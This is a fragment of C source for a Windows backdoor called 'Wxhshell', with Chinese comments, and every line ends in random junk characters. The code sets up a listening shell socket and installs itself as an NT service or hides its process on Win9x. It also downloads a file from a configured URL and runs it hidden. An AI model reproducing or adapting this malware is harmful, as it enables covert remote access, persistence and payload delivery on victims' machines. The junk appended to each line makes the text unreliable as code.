ULONG UniqueProcessId; w3#Wh|LQ-
ULONG InheritedFromUniqueProcessId; kUq=5Y `D
} PROCESS_BASIC_INFORMATION; W!%]_I!&K
` BDLW%aL
PROCNTQSIP NtQueryInformationProcess; 0n@rLF
#%`|~%`{:
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; un shH <
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; FjK3
.>'
0T@ Zb={
HANDLE hProcess; zw+B9PYqX
PROCESS_BASIC_INFORMATION pbi; Q<z_/j9
,^?^dB
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |s)Rxq){"V
if(NULL == hInst ) return 0; L>MLi3{
,RE\$~`w
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0FGe=$vD
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Uh.oErHQD
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y@ ML/9X8q
hD\rtW
if (!NtQueryInformationProcess) return 0; 2GFLnz
pM x
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |B.0TdF
if(!hProcess) return 0; EzDk}uKY0R
r9X?PA0f
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ae
mDJ8Y
"nZ*{uv
CloseHandle(hProcess); ">~.$Jp_4
7Ok;Lt!x
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2}YOcnB
if(hProcess==NULL) return 0; aJYgzr,
z)'M k[
HMODULE hMod; "vXxv'0\f
char procName[255]; Tg!i%v(-t
unsigned long cbNeeded; xG}(5Tt
!O-T0O
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I'PeN0T
f
F_Z- 8>P
CloseHandle(hProcess); ;} und*q
kdCUORMK
if(strstr(procName,"services")) return 1; // 以服务启动 g$HwxA9Gp/
}~#pEX~j*
return 0; // 注册表启动 d_4T}%q
} O_$m!5ug
/3;4#:Kkw
// 主模块 Xg<*@4RD8
int StartWxhshell(LPSTR lpCmdLine) i%ZW3MrY~
{ iOwx0GD.n
SOCKET wsl; HU%o6c w
BOOL val=TRUE; bSsh^Z
int port=0; ?dD&p8{
struct sockaddr_in door; =3q/F7-
s >e=?W
if(wscfg.ws_autoins) Install(); 7s"<
'cx_F
,
FhekaA
port=atoi(lpCmdLine); (ohq0Y
*F
?8c
if(port<=0) port=wscfg.ws_port; U"q/rcA
Qi_>Mg`x
WSADATA data; U Z.=aQ}M
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (rkyW z
O<96/a'
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; RRmLd/(
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T?:glp[4I
door.sin_family = AF_INET; ZN!4;
door.sin_addr.s_addr = inet_addr("127.0.0.1"); _u{c4U0,
door.sin_port = htons(port); !O-C,uSm
P8^hBv*
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { { T4
closesocket(wsl); `VKf3&|<A
return 1; {z(xFrY
} .uyGYj-C
ZQ)>s>-
if(listen(wsl,2) == INVALID_SOCKET) { &07]LF$]
closesocket(wsl); ^&bRX4pYo
return 1; vr0WS3
} xZ|Y?R5m
Wxhshell(wsl); GytXFL3`:
WSACleanup(); jov:]Bic
}| J79s2M
return 0; @)
s,{F
F;=4vS]\
} "`M?R;DH
2kdC]|H2?
// 以NT服务方式启动 nA
P.^_K
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L,mQ
{ Q2zjZC*'%
DWORD status = 0; }
@K FB
DWORD specificError = 0xfffffff; hF@Gn/
pX&pLaF
serviceStatus.dwServiceType = SERVICE_WIN32; I4i2+
*l}
serviceStatus.dwCurrentState = SERVICE_START_PENDING; *g y{]
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $ "E).j
serviceStatus.dwWin32ExitCode = 0; 8wVY0oRnU
serviceStatus.dwServiceSpecificExitCode = 0; uHAT#\m:
serviceStatus.dwCheckPoint = 0; 'd+NVj{C
serviceStatus.dwWaitHint = 0; MS0Fl|YA
dFH$l
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Fx5d:!]:$?
if (hServiceStatusHandle==0) return; 8<.C3m
6h
F;gx%[$GX
status = GetLastError(); JNkwEZhHyg
if (status!=NO_ERROR) K$ M^gh0
{ qw@puw@D
serviceStatus.dwCurrentState = SERVICE_STOPPED; .pfP7weQ
serviceStatus.dwCheckPoint = 0; C0S^h<iSe*
serviceStatus.dwWaitHint = 0; 1AG=%F|.
serviceStatus.dwWin32ExitCode = status; `}BF${vF
serviceStatus.dwServiceSpecificExitCode = specificError; X@k`3X
SetServiceStatus(hServiceStatusHandle, &serviceStatus); F%i^XA]a*
return; |tv"B@`
} mN!lo;m5
=+-Yxh|*
serviceStatus.dwCurrentState = SERVICE_RUNNING; jeGj<m
serviceStatus.dwCheckPoint = 0; ]wKz E4Z/
serviceStatus.dwWaitHint = 0; F)s{P Cl
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w3=%*<
} AtF3%Zv2
Gm9hYhC8
// 处理NT服务事件,比如:启动、停止 /1x,h"T\<
VOID WINAPI NTServiceHandler(DWORD fdwControl) x9x E&
{ s<9RKfm
switch(fdwControl) }0u8r`
{ 4hAl-8~Q6
case SERVICE_CONTROL_STOP: O!Oumw,$
serviceStatus.dwWin32ExitCode = 0; :um|nRwy9
serviceStatus.dwCurrentState = SERVICE_STOPPED; X{we/'>
serviceStatus.dwCheckPoint = 0; 6B@CurgB
serviceStatus.dwWaitHint = 0; YO}1(m
{ wjh=Q
SetServiceStatus(hServiceStatusHandle, &serviceStatus); _)]+hUwY
} N\HQN0d9
return; tID%}Z v
case SERVICE_CONTROL_PAUSE: &}?$i7x5
serviceStatus.dwCurrentState = SERVICE_PAUSED; ;5tazBy&:C
break; ~mO62(8m
case SERVICE_CONTROL_CONTINUE: ep=qf/vd<
serviceStatus.dwCurrentState = SERVICE_RUNNING; ~=KJzOS,S
break; 0pJ
":Q/2)
case SERVICE_CONTROL_INTERROGATE: ZTU&,1Y ;
break; n>A98NQ
}; 2Fz|fW_
SetServiceStatus(hServiceStatusHandle, &serviceStatus); VxY+h`4#
} (y?ITz9
vfl5Mx4
// 标准应用程序主函数 #% of;mJv
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ya;9]k8,
{ srYJp^sC
^bc;[x&N
// 获取操作系统版本 d3W0-INL
OsIsNt=GetOsVer(); K]j0_~3s
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,RgB$TcE
g8w2Vz2/
// 从命令行安装 )ZBY* lk9
if(strpbrk(lpCmdLine,"iI")) Install(); YKE46q;J
nK$X[KrV'
// 下载执行文件 ^=:9)CNw(
if(wscfg.ws_downexe) { *;m5'}jsy
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :.?gHF.?
WinExec(wscfg.ws_filenam,SW_HIDE); om |"S
} 4<cz--g
\mw(cM#:
if(!OsIsNt) { Q}!mx7b0]
// 如果时win9x,隐藏进程并且设置为注册表启动 $uap8nN
HideProc(); 5*E#*H
StartWxhshell(lpCmdLine); 63.wL0~
} c\ia6[3sX
else B 9T!j]'
if(StartFromService()) +=]!P#
// 以服务方式启动 Hewd4k
StartServiceCtrlDispatcher(DispatchTable); RPIyO
else ,SQZD,3v4
// 普通方式启动 YKbaf(K)9
StartWxhshell(lpCmdLine); f{"8g"[[)(
'Fs)Rx}\0
return 0; KAsS[
}